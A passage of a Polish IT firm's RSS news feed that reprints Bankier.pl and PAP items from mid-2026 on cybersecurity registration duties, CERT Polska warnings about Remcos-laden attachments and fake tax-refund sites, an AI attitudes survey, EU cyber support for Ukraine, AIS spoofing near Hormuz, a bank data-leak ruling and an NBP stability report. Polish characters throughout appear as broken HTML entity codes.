Zweryfikuj, czy branand#380;a i zakres dziaand#322;alnoand#347;ci Twojej firmy znajdujand#261; siand#281; w katalogu sektorand#243;w wskazanych w przepisach, np. produkcja, chemia, ICT, logistyka, usand#322;ugi cyfrowe lub sektor kosmiczny.
3. Zweryfikuj kody PKD.
Kody PKD pomagajand#261; okreand#347;liand#263;, czy dziaand#322;alnoand#347;and#263; firmy moand#380;e mieand#347;ciand#263; siand#281; w zakresie objand#281;tym nowymi obowiand#261;zkami.





4. Sprawdand#378; wielkoand#347;and#263; podmiotu.
Znaczenie moand#380;e mieand#263; m.in. liczba pracownikand#243;w, skala dziaand#322;alnoand#347;ci oraz powiand#261;zania z innymi podmiotami.
5. Ustal, czy firma powinna zand#322;oand#380;yand#263; wniosek samodzielnie, czy czekaand#263; na wezwanie.
Jeand#380;eli organizacja jest wpisywana z urzand#281;du, nie skand#322;ada wniosku o wpis samodzielnie. Jeand#380;eli podlega samorejestracji, powinnaand#160;zand#322;oand#380;yand#263; wniosek w terminie.

















6. Jeand#347;li obowiand#261;zek dotyczy firmyand#160;and#8211; przejdand#378; do wniosku.
W takim przypadku wniosek skand#322;ada kierownik podmiotu albo osoba przez niego upowaand#380;niona. Wniosek jest skand#322;adany elektronicznie.
Nie czekaj na ostatniand#261; chwiland#281;
Jak napisaliand#347;my wczeand#347;niej, termin zand#322;oand#380;enia wniosku o wpis do wykazu KSCand#160;upand#322;ywa 3 paand#378;dziernika.and#160;Nie czekaj jednak z formalnoand#347;ciami do ostatniego tygodnia. Wprawdzie samo sprawdzenie obowiand#261;zku moand#380;e zajand#261;and#263; niewiele czasu, jednak kilka innych dziaand#322;aand#324; (m.in. zebranie danych, ustalenie and#347;cieand#380;ki wpisu)and#160;band#281;dzie wymagaand#322;o przygotowania.
Wiand#281;cej informacji na temat obowiand#261;zkand#243;w firm w KSC moand#380;na znaleand#378;and#263; na stronieand#160;Biznes.gov.pl.






and#160;
and#378;rodand#322;o Bankier.pland#160; 21 lipiec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Fałszywy klient, fałszywy zwrot podatku. Nowe pomysły oszustów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1733</link>
			<description><![CDATA[ Do firm trafiajand#261; maile z rzekomymi zamand#243;wieniami, ktand#243;rych zaand#322;and#261;cznik infekuje komputer i otwiera przestand#281;pcom zdalny dostand#281;p. Druga kampania kusi zwrotem podatku i prowadzi na podrobionand#261; stronand#281; e-Urzand#281;du Skarbowego. Chwila nieuwagi i moand#380;na straciand#263; pieniand#261;dze.
and#160;




and#160;

fot. Marti Rossello /and#160;/and#160;Shutterstock


CERT Polska ostrzegand#322; przed kampaniand#261; skierowanand#261; do maand#322;ych i and#347;rednich przedsiand#281;biorcand#243;w. Oszuand#347;ci podszywajand#261; siand#281; pod potencjalnych klientand#243;w iand#160;doand#322;and#261;czajand#261; do wiadomoand#347;ci rzekome zamand#243;wienie lub zapytanie ofertowe.and#160;Odbiorcy pozostaje otworzyand#263; plik.
Zamiast dokumentu w zaand#322;and#261;czniku czeka szkodliwe oprogramowanie z rodziny Remcos. Uruchomienie infekuje komputer i daje napastnikowi zdalny dostand#281;p do urzand#261;dzenia



and#160;



Tym razem nie ma faand#322;szywego panelu pand#322;atnoand#347;ci ani podrobionej strony banku.and#160;Puand#322;apka mieand#347;ci siand#281; w pliku, ktand#243;ry odbiorca otwiera w ramach zwykand#322;ych obowiand#261;zkand#243;w. I to odrand#243;and#380;nia tand#281; kampaniand#281; od masowego phishingu kierowanego do klientand#243;w indywidualnych.
and#160;
Pierwszym sygnaand#322;em ostrzegawczym bywa adres nadawcy w zagranicznej lub nietypowej domenie. CERT Polska zaleca ostroand#380;noand#347;and#263; wobec archiwand#243;w RAR i ZIP oraz skryptand#243;w i plikand#243;w wykonywalnych o rozszerzeniach EXE, MSI, BAT, CMD i SCR. Przy korespondencji od nieznanego kontrahenta warto sprawdziand#263; nadawcand#281;, korzystajand#261;c z danych kontaktowych firmy znalezionych samodzielnie w internecie.

Urzand#261;d skarbowy rzekomo oddaje pieniand#261;dze
Druga kampania gra na obietnicy zwrotu podatku. Wiadomoand#347;and#263; zawiera link do strony podszywajand#261;cej siand#281; pod e-Urzand#261;d Skarbowy, a celem jest wyand#322;udzenie danych osobowych i danych karty pand#322;atniczej.
CERT Polska zaznacza, and#380;e to powrand#243;t znanego juand#380; schematu. Przestand#281;pcy zmieniajand#261; nazwand#281; instytucji, logo i wygland#261;d strony, ale wciand#261;and#380; przekonujand#261; odbiorcand#281;, and#380;e czekajand#261; na niego pieniand#261;dze.
Powodem do podejrzeand#324; jest informacja o niespodziewanym zwrocie, presja szybkiego dziaand#322;ania albo adres serwisu inny niand#380; oficjalny. Rozliczenia najlepiej sprawdzaand#263; po samodzielnym wejand#347;ciu do e-Urzand#281;du Skarbowego, a nie przez odnoand#347;nik z niespodziewanej wiadomoand#347;ci.
Obie kampanie and#322;and#261;czy ten sam chwyt: obietnica finansowej korzyand#347;ci. Faand#322;szywy klient nakand#322;ania do uruchomienia pliku, podrobiony urzand#261;d kieruje ofiarand#281; na stronand#281; zbierajand#261;cand#261; dane.






















Podejrzane e-maile i witryny moand#380;na zgand#322;aszaand#263; przez formularz incydent.cert.pl lub usand#322;ugand#281; and#8222;Bezpiecznie w sieci" w aplikacji mObywatel. Podejrzane SMS-y przesyand#322;amy na bezpand#322;atny numer 8080.
and#160;
and#378;rodand#322;o Bankier.pland#160; 21 lipiec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Sztuczna inteligencja zyskuje na popularności. Czego najbardziej boją się Polacy? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1732</link>
			<description><![CDATA[ Ponad 70 proc. Polakand#243;w obawia siand#281; o prywatnoand#347;and#263; swoich danych w zwiand#261;zku z rozwojem sztucznej inteligencji - wynika z raportu firmy Future Mind. Wielu dostrzega teand#380; m.in. ryzyko dla demokracji zwiand#261;zane z dezinformacjand#261; napand#281;dzanand#261; przez AI oraz obawia siand#281; zastosowaand#324; wojskowych tej technologii.
and#160;




and#160;

fot. AI /and#160;/and#160;Bankier.pl


and#160;
Z raportu and#8222;Jak AI zmienia codziennoand#347;and#263; Polakand#243;w? Sztuczna inteligencja w pracy i and#380;yciu osobistym w 2026 rokuand#8221; wynika, and#380;e 72 proc. badanych obawia siand#281; o prywatnoand#347;and#263; swoich danych.
Z kolei 61 proc. Polakand#243;w widzi w AI ryzyko dla demokracji zwiand#261;zane z dezinformacjand#261;. Natomiast 59 proc. obawia siand#281; zastosowaand#324; wojskowych tej technologii, a 58 proc. niepokoi wzrost przestand#281;pczoand#347;ci i cyberprzestand#281;pczoand#347;ci z wykorzystaniem sztucznej inteligencji.

Jednoczeand#347;nie ponad poand#322;owa respondentand#243;w (55 proc.) uwaand#380;a, and#380;e sztuczna inteligencja moand#380;e pomand#243;c w rozwiand#261;zywaniu problemand#243;w zwiand#261;zanych z medycynand#261; i opiekand#261; zdrowotnand#261;. Niemal poand#322;owa widzi w niej potencjaand#322; w odciand#261;and#380;eniu kurczand#261;cej siand#281; siand#322;y roboczej w starzejand#261;cym siand#281; spoand#322;eczeand#324;stwie (48 proc.) oraz we wzmacnianiu konkurencyjnoand#347;ci Polski (48 proc.). Z kolei 39 proc. Polakand#243;w widzi potencjaand#322; AI w opiece nad osobami starszymi, a 36 proc. - w rozwiand#261;zywaniu problemand#243;w zwiand#261;zanych ze zmianami klimatu.

and#160;
Prawie poand#322;owa badanych, pytana o silnand#261; emocjand#281; zwiand#261;zanand#261; ze sztucznand#261; inteligencjand#261;, wskazaand#322;a na zainteresowanie (48 proc.). Jedna trzecia respondentand#243;w wybraand#322;a ekscytacjand#281;, a takand#380;e niepokand#243;j (po 33 proc.), nadziejand#281; wskazaand#322;o 32 proc., a stres and#8211; jedna czwarta badanych (26 proc.).
and#160;
Mand#281;and#380;czyand#378;ni czand#281;and#347;ciej niand#380; kobiety deklarowali silne zainteresowanie AI (52 proc. wobec 46 proc. kobiet) i ekscytacjand#281; (37 proc. wobec 30 proc.). Jednoczeand#347;nie panowie czand#281;and#347;ciej widzand#261; pozytywny wpand#322;yw sztucznej inteligencji na medycynand#281; i opiekand#281; zdrowotnand#261; (65 proc. wobec 49 proc. kobiet), klimat (45 proc. wobec 31 proc.) oraz konkurencyjnoand#347;and#263; Polski (55 proc. wobec 44 proc.). Natomiast kobiety czand#281;and#347;ciej niand#380; mand#281;and#380;czyand#378;ni wskazywaand#322;y na silny stres (31 proc. wobec 19 proc. wand#347;rand#243;d mand#281;and#380;czyzn) i niepokand#243;j lub strach (35 proc. wobec 30 proc.).
Wand#347;rand#243;d branand#380; objand#281;tych badaniemand#160;najwyand#380;sze zainteresowanie AI zadeklarowaand#322;y osoby pracujand#261;ce w transporcie i logistyce (59 proc.) oraz w budownictwie i infrastrukturze (59 proc.).and#160;Dla badanych z administracji publicznej ostatek ten wyniand#243;sand#322; 39 proc., a dla pracujand#261;cych w handlu i obsand#322;udze klienta - 38 proc.

Jednoczeand#347;nie wiand#281;kszoand#347;and#263; pracownikand#243;w transportu i logistyki dostrzegand#322;o ryzyko zwiand#261;zane z zastosowaniami wojskowymi AI (71 proc.). Natomiast 64 proc. osand#243;b zatrudnionych w branand#380;y budownictwa i infrastruktury zgodziand#322;o siand#281; z tezand#261;, and#380;e AI moand#380;e pomand#243;c w rozwiand#261;zywaniu problemand#243;w medycyny i opieki zdrowotnej, a co druga osoba - problemand#243;w klimatycznych (53 proc.).

Wand#347;rand#243;d osand#243;b, ktand#243;re nie korzystajand#261; z generatywnej AI, najczand#281;and#347;ciej wskazywanym powodem byand#322; brak poczucia takiej potrzeby - 36 proc. podaand#322;o bowiem, and#380;e nie wie, do czego GenAI mogand#322;aby im siand#281; przydaand#263; prywatnie. Natomiast 30 proc. podaand#322;o, and#380;e preferuje tradycyjne metody, takie jak samodzielne pisanie tekstand#243;w, wyszukiwanie informacji lub pytanie ludzi. 29 proc. badanych wskazaand#322;o na brak zaufania do odpowiedzi generowanych przez AI oraz brak zainteresowania. Obawy o prywatnoand#347;and#263; pojawiand#322;y siand#281; u 19 proc. osand#243;b nie korzystajand#261;cych z GenAI. Na kwestie zwiand#261;zane z kosztami wskazaand#322;o 7 proc. ankietowanych. Listand#281; zamykajand#261; zand#322;e doand#347;wiadczenia i przekonanie, and#380;e narzand#281;dzia GenAI sand#261; zbyt skomplikowane (po 5 proc.).
Raport powstaand#322; na podstawie badania zrealizowanego na grupie 1047 pracownikand#243;w biurowych i umysand#322;owych z rand#243;and#380;nych branand#380; w Polsce, przy uand#380;yciu metody wywiadand#243;w internetowych wspomaganych komputerowo (CAWI). Badanie zostaand#322;o przeprowadzone w dniach 27 listopada and#8211; 8 grudnia 2025 roku we wspand#243;and#322;pracy z agencjand#261; SW Research.and#160;
and#160;
and#378;rodand#322;o PAP 21 czerwca 2026and#160; mbl/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ Oszustwo na zwrot podatku. Ministerstwo Finansów ostrzega ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1731</link>
			<description><![CDATA[ Ministerstwo Finansand#243;w ostrzega przed oszustami, ktand#243;rzy podszywajand#261; siand#281; pod Krajowand#261; Administracjand#281; Skarbowand#261; (KAS) i przy uand#380;yciu faand#322;szywych maili o zwrocie podatku prand#243;bujand#261; wyand#322;udziand#263; dane o koncie bankowym.
and#160;




and#160;

fot. zef art /and#160;/and#160;Shutterstock  


and#8222;Ostrzegamy przed kolejnand#261; faland#261; oszustw phishingowych. Przestand#281;pcy rozsyand#322;ajand#261; faand#322;szywe wiadomoand#347;ci e-mail, w ktand#243;rych informujand#261; o rzekomym zwrocie podatku PITand#8221; and#8211; podaand#322;o Ministerstwo Finansand#243;w w komunikacie.
Resort wyjaand#347;niand#322;, and#380;e oszuand#347;ci w przesand#322;anych wiadomoand#347;ciach informujand#261;, and#380;e zwrot podatku wymaga potwierdzenia swoich danych rachunku bankowego w ciand#261;gu 48 godzin. and#8222;Jest to prand#243;ba wyand#322;udzenia informacji lub and#347;rodkand#243;w finansowychand#8221; and#8211; wskazano.







MF podkreand#347;liand#322;o, and#380;e Krajowa Administracja Skarbowa nie wysyand#322;a wiadomoand#347;ci e-mail lub SMS z proand#347;band#261; o potwierdzenie numeru konta bankowego, nie prosi teand#380; o podanie jakichkolwiek danych w celu realizacji zwrotu nadpand#322;aty podatku dochodowego.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 20 czerwca 2026 ms/ mick/ ]]></description>
		</item><item>
			<title><![CDATA[ Ukraina pod cyberparasolem UE. Dostanie pomoc przy atakach hakerskich ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1730</link>
			<description><![CDATA[ Ukraina band#281;dzie mogand#322;a korzystaand#263; z unijnego awaryjnego wsparcia w zakresie cyberbezpieczeand#324;stwa w przypadku powaand#380;nych atakand#243;w hakerskich and#8211; poinformowaand#322;a w poniedziaand#322;ek Komisja Europejska. Paand#324;stwa UE zdecydowaand#322;y o wand#322;and#261;czeniu Ukrainy do tzw. unijnej rezerwy cyberbezpieczeand#324;stwa.
and#160;




and#160;

fot. trambler58 /and#160;/and#160;Shutterstock  


Decyzjand#281; formalnie zatwierdziand#322;a w poniedziaand#322;ek Rada UE, zrzeszajand#261;ca paand#324;stwa czand#322;onkowskie.
Oznacza to, and#380;e Ukraina zyska dostand#281;p do EU Cybersecurity Reserve, czyli mechanizmu kryzysowego zarzand#261;dzanego przez Agencjand#281; UE ds. Cyberbezpieczeand#324;stwa (ENISA), ktand#243;ry ma wspieraand#263; kraje i instytucje w reagowaniu na duand#380;e incydenty cybernetyczne.and#160;W praktyce oznacza to, and#380;e w razie powaand#380;nego lub zakrojonego na szerokand#261; skaland#281; cyberataku Ukraina band#281;dzie mogand#322;a poprosiand#263; o natychmiastowand#261; pomoc certyfikowane prywatne firmy specjalizujand#261;ce siand#281; w walce z tego typu zagroand#380;eniami.and#160;Firmy te band#281;dand#261; mogand#322;y wesprzeand#263; ukraiand#324;skie instytucje w ich wykrywaniu, zabezpieczaniu systemand#243;w i usuwaniu skutkand#243;w atakand#243;w.

and#8211; Przyjmujand#261;c Ukrainand#281; do unijnej rezerwy cyberbezpieczeand#324;stwa, wzmacniamy naszand#261; wspand#243;lnand#261; obronand#281; i potwierdzamy zasadand#281; solidarnoand#347;ci, ktand#243;ra leand#380;y u podstaw cyfrowej przyszand#322;oand#347;ci Europy. W czasie gdy cyberataki stanowiand#261; staand#322;e zagroand#380;enie, jednoand#347;and#263; jest naszym najwiand#281;kszym atutem and#8211; oand#347;wiadczyand#322;a wiceprzewodniczand#261;ca Komisji Europejskiej ds. cyfryzacji Henna Virkkunen.

and#160;
KE podkreand#347;liand#322;a, and#380;e decyzja o wand#322;and#261;czeniu Ukrainy do rezerwy odzwierciedla and#347;cisand#322;and#261; wspand#243;and#322;pracand#281; UE z tym paand#324;stwem i wpisuje siand#281; w szersze partnerstwo cyfrowe miand#281;dzy Brukseland#261; a Kijowem. Objand#281;cie Ukrainy systemem ma teand#380; zwiand#281;kszyand#263; gotowoand#347;and#263; obu stron do reagowania na rosnand#261;ce zagroand#380;enia cybernetyczne.
and#160;
Unijna rezerwa cyberbezpieczeand#324;stwa zostaand#322;a ustanowiona w ramach aktu o cybersolidarnoand#347;ci i opiera siand#281; na sieci zaufanych prywatnych dostawcand#243;w usand#322;ug, ktand#243;rzy mogand#261; byand#263; szybko uruchamiani na wniosek paand#324;stw czand#322;onkowskich lub instytucji UE, gdy wand#322;asne zasoby okazujand#261; siand#281; niewystarczajand#261;ce. Mechanizm moand#380;e wspieraand#263; m.in. podmioty dziaand#322;ajand#261;ce w sektorach krytycznych, takich jak energetyka i ochrona zdrowia.
Moand#322;dawia zostaand#322;a objand#281;ta unijnand#261; rezerwand#261; cyberbezpieczeand#324;stwa juand#380; w 2024 r. na mocy aktu o cybersolidarnoand#347;ci. Ukraina jest kolejnym paand#324;stwem partnerskim, ktand#243;re uzyskaand#322;o dostand#281;p do tego systemu.
and#160;
and#378;rodand#322;o PAP 19 czerwca 2026 z Brukseli Jowita Kiwnik Pargana and#160;jowi/ akl/ ]]></description>
		</item><item>
			<title><![CDATA[ Polacy spędzą w internecie ponad 26 lat życia. Nowe dane NordVPN ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1729</link>
			<description><![CDATA[ and#321;and#261;cznie 26 lat, 1 miesiand#261;c i 26 dni spand#281;dzi w internecie przeciand#281;tny Polak - wynika z badania firmy NordVPN. To o 2 lata, 8 miesiand#281;cy i 10 dni wiand#281;cej niand#380; wynikaand#322;o z analogicznego badania przeprowadzonego w 2022 r.
and#160;




and#160;

fot. mpohodzhay /and#160;/and#160;Shutterstock


and#160;
Autorzy badania wskazali teand#380;, and#380;e and#8222;przy and#347;redniej dand#322;ugoand#347;ci and#380;ycia wynoszand#261;cej 79 lat Polacy oddajand#261; cyfrowej rzeczywistoand#347;ci jednand#261; trzeciand#261; swojej egzystencjiand#8221;. and#8222;and#262;wierand#263; wieku spand#281;dzone online to nie tylko statystyka. To fundamentalna zmiana w trybie and#380;yciaand#8221; - uwaand#380;a, cytowany w badaniu, dyrektor techniczny w NordVPN Marijus Briedis. Jego zdaniem, granica miand#281;dzy and#8222;prawdziwym and#380;yciem" a and#8222;and#380;yciem online" praktycznie przestaand#322;a istnieand#263;.
Najwiand#281;cej czasu w internecie Polacy spand#281;dzajand#261; na sand#322;uchaniu muzyki - 5 godzin i 53 minuty tygodniowo oraz na ogland#261;daniu filmand#243;w i wideo online - 5 godz. 28 min.. Kolejne jest przegland#261;danie mediand#243;w spoand#322;ecznoand#347;ciowych - 4 godz. 50 min. oraz maratony serialowe i filmowe - 3 godziny i 46 minut w tygodniu. Dodatkowo chatbotom AI Polacy poand#347;wiand#281;cajand#261; 42 minuty tygodniowo.

and#8222;Pomimo nasilajand#261;cych siand#281; obaw o bezpieczeand#324;stwo w sieci Polacy pozostajand#261; zadziwiajand#261;co otwarci, jeand#347;li chodzi o udostand#281;pnianie wraand#380;liwych danych osobowych. Z badania wynika, and#380;e 81 proc. Polakand#243;w podaand#322;o online swoje peand#322;ne imiand#281; i nazwisko, 72 proc. and#8211; datand#281; urodzenia, 56 proc. and#8211; peand#322;ny adres zamieszkania, a 43 proc. and#8211; swand#243;j stan cywilnyand#8221; - zauwaand#380;yli autorzy. Jak dodali, 27 proc. ankietowanych przyznaje, and#380;e nie wyobraand#380;a sobie dnia bez dostand#281;pu do internetu.
Badanie zostaand#322;o zlecone przez NordVPN i przeprowadzone przez firmand#281; Norstat w dniach 1and#8211;17 kwietnia 2026 roku. and#321;and#261;cznie wziand#281;and#322;o w nim udziaand#322; ponad 20 tys. uand#380;ytkownikand#243;w internetu z 20 krajand#243;w. W Polsce prand#243;ba obejmowaand#322;a tysiand#261;c respondentand#243;w w wieku 18and#8211;74 lat.and#160;









and#160;








and#378;rodand#322;o PAP 20 czerwca 2026 jls/ mrr/ ]]></description>
		</item><item>
			<title><![CDATA[ 200 statków ofiarą cyberataku. Wielki powrót na najważniejszy szlak naftowy świata ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1728</link>
			<description><![CDATA[ W czwartek, nastand#281;pnego dnia po zawarciu umowy USA - Iran przez cieand#347;ninand#281; Ormuz przepand#322;ynand#281;and#322;o 25 statkand#243;w handlowych, To najwyand#380;szy wolumen od poand#322;owy kwietnia, wedand#322;ug danych platformy and#347;ledzenia ruchu morskiego AXSMarine opublikowanych w piand#261;tek. Przed wojnand#261; cieand#347;ninand#281; w ciand#261;gu doby przechodziand#322;o 130 jednostek.
and#160;




and#160;

fot. Artemegorovv /and#160;/and#160;Shutterstock


and#160;
and#160;
To najwyand#380;sza liczba statkand#243;w, ktand#243;ra jednego dnia pokonaand#322;a przewand#281;and#380;enie Zatoki Perskiej od 18 kwietnia, kiedy Iran na krand#243;tki okres zluzowaand#322; blokadand#281; Ormuzu.
Czwartek byand#322; pierwszym dniem po podpisaniu w and#347;rodand#281; wstand#281;pnego porozumienia miand#281;dzy Stanami Zjednoczonymi a Iranem - przypomniaand#322;a agencja. AFP dodaand#322;a, and#380;e zaplanowane na piand#261;tek rozmowy, ktand#243;re miaand#322;y rozpoczand#261;and#263; 60-dniowe negocjacje majand#261;ce m.in. wypracowaand#263; decyzje dotyczand#261;ce iraand#324;skiego programu nuklearnego, zostaand#322;y odroczone na czas nieokreand#347;lony.



and#160;



Zintensyfikowanie ruchu nastand#261;piand#322;o w okresie, gdy AXSMarine zaobserwowaand#322;a najwyand#380;sze od poczand#261;tku wojny zaburzenia sygnaand#322;and#243;w automatycznej identyfikacji statkand#243;w AIS. Jak podaand#322;a platforma w serwisie X, w czwartekand#160;ponad 200 statkand#243;w handlowych jednoczeand#347;nie doand#347;wiadczyand#322;o and#8222;spoofingu (faand#322;szowania lokalizacji jednostki - PAP) lub nietypowego zachowania systemu AISand#8221;.
and#160;
and#8222;Operacje usuwania min w cieand#347;ninie sand#261; kontynuowane, a wand#322;aand#347;cicielom statkand#243;w zaleca siand#281; zachowanie ostroand#380;noand#347;ci do czasu przywrand#243;cenia normalnych warunkand#243;w ubezpieczenia przez firmy reasekuracyjneand#8221; and#8211; przekazaand#322;a firma agencji AFP.
W pierwszych dniach wojny, rozpoczand#281;tej amerykaand#324;sko-izraelskim atakiem na Iran, Teheran zablokowaand#322; cieand#347;ninand#281;, przez ktand#243;rand#261; wczeand#347;niej statki przewoziand#322;y ok. 20 proc. and#347;wiatowego eksportu ropy naftowej i gazu naturalnego, wydobywanych w regionie Zatoki Perskiej. Zapowiedziaand#322; rand#243;wnieand#380; wprowadzenie opand#322;at od jednostek, ktand#243;re chciaand#322;by korzystaand#263; z tego toru wodnego.and#160;
and#160;
and#378;rodand#322;o PAP 19 czerwca 2026 os/ kj/ ]]></description>
		</item><item>
			<title><![CDATA[ Przełomowy wyrok sądu. Bank musi oddać ponad 100 tys. zł po wycieku danych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1727</link>
			<description><![CDATA[ Sand#261;d nakazaand#322; bankowi zwrot przedsiand#281;biorcy ponad 100 tys. zand#322; straconych po wycieku danych z karty. To ewenement and#8211; znacznie czand#281;and#347;ciej takie sprawy grzand#281;znand#261; w sporze o status autoryzacji transakcji and#8211; pisze w czwartek and#8222;Rzeczpospolitaand#8221;.
and#160;




and#160;

fot. siekierski.photo /and#160;/and#160;Shutterstock


and#160;
Dziennik pisze o skutkach wycieku danych z karty pand#322;atniczej przedsiand#281;biorcy z branand#380;y gastronomicznej.
Chodzi o and#8222;blisko 160 transakcji na niewielkie kwotyand#8221;, ktand#243;re and#8222;dokonywano w nocy, na rzecz podmiotand#243;w w egzotycznych krajachand#8221;.
and#8222;Bank nie uznaand#322; nocnych transakcji z egzotycznymi odbiorcami za podejrzane. Broniand#322; siand#281;, and#380;e transakcje byand#322;y autoryzowane kodami SMS. Nie potrafiand#322; tego jednak wykazaand#263;. I to byand#322; decydujand#261;cy argument dla Sand#261;du Okrand#281;gowego w and#321;odzi, ktand#243;ry podkreand#347;liand#322;, and#380;e to na banku ciand#261;and#380;y obowiand#261;zek udowodnienia autoryzacji transakcji. Nakazaand#322; teand#380; zwrot ponad 100 tys. zand#322;and#8221; - czytamy w and#8222;Rzand#8221;.
and#160;
Cytowany przez gazetand#281; mec. Bartosz Jaroni oceniand#322;, and#380;e and#8222;and#322;and#243;dzki wyrok to ewenementand#8221;, poniewaand#380; and#8222;w tego typu sprawach wystand#281;puje spand#243;r co do wykand#322;adni przepisand#243;w ustawy o usand#322;ugach pand#322;atniczych, co oznacza autoryzacjaand#8221;.
and#8222;Przepisy przewidujand#261;, and#380;e bank powinien zwrand#243;ciand#263; pieniand#261;dze w przypadku dokonania nieautoryzowanej transakcjiand#8221; - pisze and#8222;Rzand#8221;.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 18 czerwca 2026and#160; jz/mgw/ mhr/
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Geopolityka zagrożeniem dla banków. W tle także cyberbezpieczeństwo ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1726</link>
			<description><![CDATA[ Czynnikiem zwiand#281;kszajand#261;cym wraand#380;liwoand#347;and#263; krajowego systemu finansowego na ryzyko geopolityczne jest wysoki i rosnand#261;cy udziaand#322; SPW w bilansach bankand#243;w - podaand#322; NBP w pand#243;and#322;rocznym raporcie o stabilnoand#347;ci finansowej. Dodaand#322;, and#380;e ekspozycja bankand#243;w na SPW nabiera znaczenia z perspektyw rosnand#261;cego dand#322;ugu publicznego w przyszand#322;oand#347;ci.
and#160;




and#160;

fot. Stephen Finn /and#160;/and#160;Shutterstock


and#160;
W tej edycji raportu NBP wymieniand#322; ryzyko geopolityczne wand#347;rand#243;d gand#322;and#243;wnych and#378;rand#243;deand#322; ryzyka dla sektora finansowego.

Roand#347;nie znaczenie ryzyka geopolitycznego w zwiand#261;zku z powtarzajand#261;cymi siand#281; licznymi napiand#281;ciami miand#281;dzynarodowymi, majand#261;cymi wpand#322;yw na rynki finansowe i uwarunkowania makroekonomiczne. W ostatnim okresie and#378;rand#243;dand#322;em wzrostu natand#281;and#380;enia ryzyka geopolitycznego staand#322; siand#281; konflikt zbrojny na Bliskim Wschodzie - napisano w raporcie.

and#160;
Dodano, and#380;e bezpoand#347;rednie ekspozycje bankand#243;w i innych instytucji finansowych na rynki lub podmioty zagraniczne sand#261; niewielkie, jednak wojna na Bliskim Wschodzie moand#380;e negatywnie wpand#322;ynand#261;and#263; na polskie instytucje finansowe kanaand#322;em poand#347;rednim, prowadzand#261;c do zaburzeand#324; w globalnych and#322;aand#324;cuchach dostaw, spowolnienia wzrostu gospodarczego na and#347;wiecie oraz wyand#380;szej inflacji.
and#160;
Eksperci NBP wskazali, and#380;e ryzyko geopolityczne od pewnego czasu staand#322;o siand#281; waand#380;nym and#378;rand#243;dand#322;em ryzyka operacyjnego instytucji finansowych.

"Banki europejskie wskazujand#261; na ryzyko zwiand#261;zane z cyberbezpieczeand#324;stwem i bezpieczeand#324;stwem danych jako jego gand#322;and#243;wny komponent. Takand#380;e w Polsce, w szczegand#243;lnoand#347;ci od agresji Rosji na Ukrainand#281; w 2022 r., obserwowany jest wzrost incydentand#243;w zgand#322;aszanych do CERT Polska: wykorzystywane sand#261; podatnoand#347;ci w systemach informatycznych, a czand#281;and#347;and#263; incydentand#243;w dotyczy instytucji finansowych" - zauwaand#380;ono.
W przypadku Polski, wskazuje raport powoand#322;ujand#261;c siand#281; na Komitet Stabilnoand#347;ci Finansowej,and#160;pomimo wzrostu liczby atakand#243;w, ocena ryzyka zwiand#261;zanego z technologiami informacyjno-komunikacyjnymi (ICT) pozostaje umiarkowana i porand#243;wnywalna we wszystkich sektorach rynku finansowego.

Najwyand#380;szym wyzwaniem jest zarzand#261;dzanie ryzykiem zewnand#281;trznych dostawcand#243;w usand#322;ug ICT. Znaczenie ryzyka cybernetycznego dla stabilnoand#347;ci finansowej band#281;dzie rosand#322;o w obliczu wykorzystania zaawansowanych modeli sztucznej inteligencji (AI) do odnajdywania sand#322;abych punktand#243;w systemand#243;w informatycznych uand#380;ywanych przez instytucje finansowe i instytucje infrastruktury finansowej - wskazano.

Analitycy NBP podkreand#347;lili, and#380;e czynnikiem zwiand#281;kszajand#261;cym wraand#380;liwoand#347;and#263; krajowego systemu finansowego na wpand#322;yw ryzyka geopolitycznego jest wysoki i rosnand#261;cy udziaand#322; skarbowych papierand#243;w wartoand#347;ciowych w bilansach bankand#243;w.
and#160;
"W ostatnim okresie wpand#322;yw ten odczuwalny byand#322; m.in. w postaci spadku wycen aktywand#243;w na rynkach miand#281;dzynarodowych, co rand#243;wnieand#380; dotknand#281;and#322;o krajowy rynek SPW" - napisano.
Jak podaje NBP,and#160;w poczand#261;tkowym okresie konfliktu na Bliskim Wschodzie przejand#347;ciowy wzrost rentownoand#347;ci polskich obligacji skarbowych wyniand#243;sand#322; ok. 1 pp.and#160;Byand#322;o to przede wszystkim efektem wzrostu oczekiwaand#324; co do ksztaand#322;towania siand#281; przyszand#322;ych stand#243;p procentowych NBP, w warunkach wzrostu presji inflacyjnej wywoand#322;anej szokiem podaand#380;owym na rynku surowcand#243;w energetycznych.






W przypadku szokand#243;w geopolitycznych premia terminowa ma takand#380;e tendencjand#281; do wzrostu, co uwidacznia siand#281; gand#322;and#243;wnie we wzrostach dand#322;ugookresowych stand#243;p procentowych. MFW i organy nadzoru makroostroand#380;noand#347;ciowego krajand#243;w UE10 wskazujand#261; obecnie na wiand#281;kszand#261; roland#281; ryzyka zwiand#261;zanego z sytuacjand#261; na rynku skarbowych papierand#243;w wartoand#347;ciowych, jako and#378;rand#243;dand#322;a zagroand#380;eand#324; dla stabilnoand#347;ci finansowej globalnie, szczegand#243;lnie w krajach o wysokim zadand#322;uand#380;eniu - dodano.

Ekspozycja bankand#243;w na rynek SPW w Polsce nabiera znaczenia rand#243;wnieand#380; z perspektyw ksztaand#322;towania siand#281; dand#322;ugu publicznego w przyszand#322;oand#347;ci.
"Projekcje Ministerstwa Finansand#243;w przewidujand#261; moand#380;liwoand#347;and#263; wzrostu dand#322;ugu publicznego z obecnych ok. 60 proc. PKB do ok. 75 proc. PKB w roku 2029. Przy zaand#322;oand#380;eniu dotychczasowego udziaand#322;u bankand#243;w w zakupach nowych emisji SPW spodziewaand#263; siand#281; moand#380;na dalszego wzrostu ich zaangaand#380;owania w te papiery wartoand#347;ciowe and#8211; z ok. 26 proc. aktywand#243;w na koniec 2025 r. do ok. 30 proc. w 2028 r." - ocenia NBP.
